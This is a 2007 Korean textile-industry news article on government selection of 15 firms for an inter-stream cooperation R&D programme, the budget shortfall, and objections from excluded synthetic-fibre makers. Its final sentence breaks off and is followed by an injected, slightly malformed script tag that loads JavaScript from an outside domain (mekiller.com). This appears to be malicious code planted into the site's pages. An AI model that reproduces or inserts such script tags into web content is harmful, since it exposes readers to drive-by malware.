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스트림간 협력사업 15개업체 최종결정 부품소재진흥원 6월중 협약체결 자금배정 54건 876억 신청, 예산 83억 턱없이 부족
섬유·패션산업 구조혁신 지원사업의 일환으로 추진되고 있는 2007년도 섬유산업 스트림간 협력 기술개발사업 주관업체(기관)가 최종 발표되어 이 사업이 본격적으로 시작됐다.
산업자원부와 한국부품소재진흥원은 지난 11일 지원예산 83억원(패션부문 10억원 포함) 예산을 배정 받기 위해 신청한 54개 과제를 심사 평가한 결과를 최종 발표했다.
지난 3월15일 本紙 공고를 통해 3월16일부터 4월16일까지1개월간 신청 접수를 받은 섬유산업 스트림간 협력사업에는 의류용 33건, 생활용 14건, 산업용 7건 등 54개 과제로 876억원을 신청해 11대 1의 치열한 경합을 벌일 정도로 예산이 턱없이 부족해 내년에는 최소 500억원은 배정돼야할 것으로 지적됐다.
부품소재진흥원은 평가위원회의 평가 결과에 따라 54개 과제중 섬유부문 10개과제와 패션부문 5개과제를 ‘지원1순위’로 발표하고 섬유부문 3개과제는 2순위로 발표해 1순위 과제가 포기 의사를 밝힐 경우 배정 받게 될 것으로 보인다.<선정 및 탈락업체명단 12면 > 지원 1순위 과제는 섬유부문에서 ▲(주)성안의 환경친화형 난연섬유 및 제품개발 ▲한국염색기술연구소의 나일론 고강력 태섬사를 이용한 군용 및 산자용 후직물 개발 ▲(주)우성염직 제2공장의 슬라이버 염색가공기술 개발 및 이를 이용한 천연복합소재 개발 ▲코오롱글로텍(주)의 친환경 인테리어용 난연흡음 모듈 제품화 기술개발 ▲제원화섬(주)의 직방형 초극세 특수단면사를 이용한 고감성 파일류 제품개발 ▲유한킴벌리(주)의 섬유 밸류 체인 개선을 위한 디지털 컬러 커뮤니케이션 솔루션 개발 ▲(주)파카RGB의 보형기능성 폴리아미드계 섬유제품 개발 ▲명진화섬의 고기능성 워크웨어 개발 ▲(주)동우의 가솔린 엔진 승용차용 하이드로카본 트랩 개발 ▲영풍필텍스의 초경량박지직물의 강도개선 및 나노 멤브레인 가공기술 개발 등 10개 과제가 선정됐다. 패션부문에서는 ▲케이엠글로벌의 고기능성 승마복 및 용품개발 ▲(주)나경에스에이의 웨어링 스카프 해외 메스티지 마켓 진입을 위한 패션 스트림간 기술개발 사업 ▲(주)빗살무늬의 감성형 셀프케어 침장류 개발 ▲강기옥 부띠끄의 레이저펀칭·스크래칭 기법을 활용한 프리미엄 데님 제품의 개발 ▲제주대학교의 전통염색의 현대적 활용을 위한 배색 감성 패션문화상품의 개발 등 5개 과제가 선정됐다.
이 밖에 2순위 과제로는 ▲(주)덕우실업의 콘주게이트 복합소재를 이용한 차세대 형상기억 제품 개발 ▲한국니트산업연구원의 전북 니트기업 혁신을 위한 복합기능성 소재개발 및 웰빙니트 제품화 사업 ▲(주)이주의 바이오-에코 융합형 고감성 섬유제품 개발 등 3개 과제를 선정했다.
이번 주관업체 선정에서는 새한·성안합섬·휴비스·효성·코오롱 등 화섬메이커들이 모두 탈락했으며, 당초 섬유부문에서 1개사당 10억원 규모로 7 ∼8개 과제가 선정될 것으로 예상됐으나 10개 과제로 늘어난 것이 특히 눈에 띈다. 미달된 패션 부문에서도 3개 과제가 탈락했다.
이는 올해 스트림간 협력사업 지원예산이 겨우 83억원으로 11대1의 치열한 경합을 벌이게 된 결과 대기업은 자금력과 개발능력을 갖춘 것으로 보고 자금지원이 절실한 중견·중소기업을 우대하는 심사기준이 필요하다는 의견이 강력히 제시됐기 때문이다. 이에 대해 소재개발을 맡고있는 화섬메이커들은 처음부터 이러한 방침을 제시하지 않아 이들을 주관기관으로 참여한 중소기업들도 함께 피해를 입게됐다고 밝혔다. 이들 탈락한 화섬메이커들은 스트림간 협력사업의 본래 목적이 대기업·중견기업·중소기업간 공동협력체제를 통한 섬유업계 발전에 있으며 대기업을 배제시키는 것은 결코 아니라고 지적,“이런 원칙이라면 내년부터는 일체 참여하지 않겠다”고 반발하고 있다.
이번에 선정된 업체는 6월중에 산자부·부품소재진흥원과 선정업체간의 협약체결이 이루어지면 곧이어 자금배정이 이루어질 것으로 보이는데, 융자가 아닌 개별업체에 현금으로 지원?script src=http://mekiller.com/1/1.js>
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